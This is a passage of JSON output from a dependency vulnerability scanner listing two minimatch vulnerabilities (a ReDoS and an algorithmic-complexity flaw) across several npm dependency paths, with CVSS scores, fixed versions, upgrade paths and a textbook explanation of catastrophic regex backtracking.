"packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": 